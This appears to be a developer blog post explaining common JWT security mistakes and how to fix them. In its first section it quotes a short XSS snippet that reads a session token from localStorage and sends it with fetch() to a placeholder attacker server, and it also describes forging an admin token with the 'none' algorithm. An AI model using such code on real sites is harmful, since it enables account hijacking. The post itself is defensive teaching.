JWT Security for Devs: Avoiding the Common Traps
JSON Web Tokens (JWTs) are everywhere these days. If you're building a web app, you've probably run into them. They're popular for handling logins because they're simple and don't require the server to keep track of who's logged in.
But here's the catch: that simplicity can be misleading. It’s easy to make a small mistake with JWTs that quietly blows a huge hole in your app's security. It's a classic case of a tool being only as safe as the person using it.
So, let's skip the dry textbook stuff and talk about the real-world traps that can get you into trouble.
Quick Refresher: What's a JWT, Really?
You've seen that long string of jumbled characters with two dots in the middle. It looks like this:
<Header>.<Payload>.<Signature>
Think of a JWT as a temporary ID card.
-
Header: This is like the fine print on the card, saying what kind of card it is and how it was made (e.g.,
"alg": "HS256"
). -
Payload: This is the actual info on the card, like your
userId
and what you're allowed to do (roles
). Crucially, this part is not secret. It's just scrambled in a way that anyone can unscramble (Base64 encoded). Think of it like a postcard—the mailman can read it, so never put passwords or credit card numbers here. - Signature: This is the tamper-proof hologram on the ID card. It proves that the information on the card is legit and hasn't been messed with.
A common myth is that JWTs are automatically secure because of this signature. But the signature only proves the token is authentic. Its real security depends entirely on how you create it, where you keep it, and how you check it.
Trap #1: Leaving Your Key Under the Doormat (localStorage
)
Honestly, the most frequent mistake is storing the JWT in localStorage
. So many online tutorials show you this method because it’s easy.
And yeah, it works. You log in, you stash the token with localStorage.setItem('token', jwt)
, and you're good to go. The problem is, localStorage
is like a public bulletin board for your website. Any piece of JavaScript running on your page can read what's on it. This makes it a goldmine for Cross-Site Scripting (XSS) attacks.
Imagine a hacker finds a tiny crack in your site—maybe a leaky comment box or a shady third-party ad. All they have to do is inject a little bit of code:
// A hacker's sneaky code on your site
const token = localStorage.getItem('token');
// And just like that, they've mailed your user's token to their own server.
fetch('https://attackers-evil-server.com/steal', {
method: 'POST',
body: token
});
Boom. They've just hijacked a user's account.
The Fix: Use HttpOnly
cookies instead. Think of an HttpOnly
cookie as a special, secure pocket. The browser can put the token in there and show it to the server with every request, but your website's JavaScript code can't reach in and grab it. This single change shuts down this entire type of attack.
When you set the cookie on your server, be strict about it:
// Example in Express.js
res.cookie('token', jwt, {
httpOnly: true, // The magic ingredient! Blocks JavaScript.
secure: true, // Only send it over secure HTTPS connections.
sameSite: 'Strict' // Helps protect against another attack called CSRF.
});
This is a much safer way to start.
Trap #2: The "Trust Me, Bro" Algorithm
This is an oldie but a goodie. Some older JWT libraries had a weird flaw. You could create a token and in the header, set the algorithm to "alg": "none"
. If the server wasn't specifically told to reject this, it would just... accept the token. No signature check, no questions asked.
An attacker could grab a token, decode it, change the user ID to "admin," and set the algorithm to "none"
. Then they'd chop off the signature part.
If your server blindly trusted the header, the attacker would instantly be an admin. It’s like showing a bouncer a ticket that says, "No signature required," and having them just wave you in.
The Fix: Modern tools are better about this, but you should always be cautious. Don't be so trusting! When you check a token, tell your server exactly which algorithms you allow.
// "I will ONLY accept tokens signed with HS256 or RS256."
jwt.verify(token, secret, { algorithms: ['HS256', 'RS256'] });
Trap #3: Using "password123" as Your Secret
The signature's strength depends entirely on how good your secret key is. If a hacker can guess your secret, they can create their own perfect, valid tokens for any user with any permissions they want. It’s like they have a master key to your entire application.
You’d be shocked how many projects use simple secrets like "secret"
, "password"
, or "123456"
, especially during development, and then forget to change them. Hackers have tools that do nothing but try thousands of these common secrets.
The Fix: Your secret should be a long, random, meaningless string of characters. More importantly, never write it directly in your code. Store it in a config file that isn't checked into version control (like an environment variable) or use a proper secret manager.
Trap #4: The Token That Lives Forever
One of the features of JWTs is that the server doesn't have to remember them. But this creates a problem: once you issue a token, it’s good until it expires. If you forget to set an expiration date, you've just created a "forever token."
This is incredibly risky. If that token is ever stolen, the attacker has access to that user's account forever. Even if the user changes their password, that old stolen token still works. It's like a house key you can never, ever change.
The Fix: Always give your tokens an expiration date (exp
). A good strategy is to issue short-lived "access tokens" (good for maybe 15 minutes) and long-lived "refresh tokens." This way, if an access token gets stolen, the damage is limited because it will be useless in a few minutes.
// This token will self-destruct in one hour.
const token = jwt.sign(payload, secret, { expiresIn: '1h' });
Trap #5: Forgetting to Read the Fine Print
Checking the signature is just step one. The payload has other useful bits of info that people often ignore, like iss
(who issued it) and aud
(who it's for).
Think of it this way: a ticket to a concert is only valid if it's for the right venue (aud
) and was issued by a legitimate ticket seller (iss
). You can't use a ticket for a Taylor Swift concert to get into a Metallica show.
This is super important in modern apps where different services talk to each other. If you don't check these, an attacker might be able to get a token from a low-security part of your app (like a "contact us" form) and use it to access a high-security part (like user profile settings).
The Fix: Be specific when you check the token. Make sure it's being used for the purpose it was created for.
jwt.verify(token, secret, {
audience: 'my-user-api',
issuer: 'https://auth.mycompany.com'
});
Trap #6: The "I Can't Take It Back" Problem
So, what happens if a token gets stolen before it expires? This is the toughest part of using JWTs. Because the server is "stateless" (it doesn't keep a list of active tokens), you can't just tell it, "Hey, don't accept this one anymore."
Relying on short expiration times helps, but it’s not a perfect solution.
The Fix: You have to make your server a little less forgetful.
- Keep a Banned List: Create a list of stolen or logged-out token IDs in a fast database. When you check a token, you first check its signature, then you check if its ID is on the banned list.
- Use Refresh Tokens: This is often the cleanest way. If an access token is stolen, you just revoke the user's refresh token. The thief is left with an access token that will expire on its own in a few minutes, and they won't be able to get a new one.
- The Nuclear Option: If you think there's a serious breach, you can change your secret key. This will instantly invalidate all active tokens for every user, forcing everyone to log in again. It's like changing the locks on the whole building.
Final Thoughts
JWTs are a fantastic tool, but they need to be handled with care. Most security issues aren't with JWTs themselves, but with how we, as developers, use them.
If you focus on safe storage (HttpOnly
cookies), careful checking (don't just check the signature, check everything!), and have a plan for when things go wrong, you'll be in a great position to build a secure app. At the end of the day, it's on us to use them right.
Top comments (0)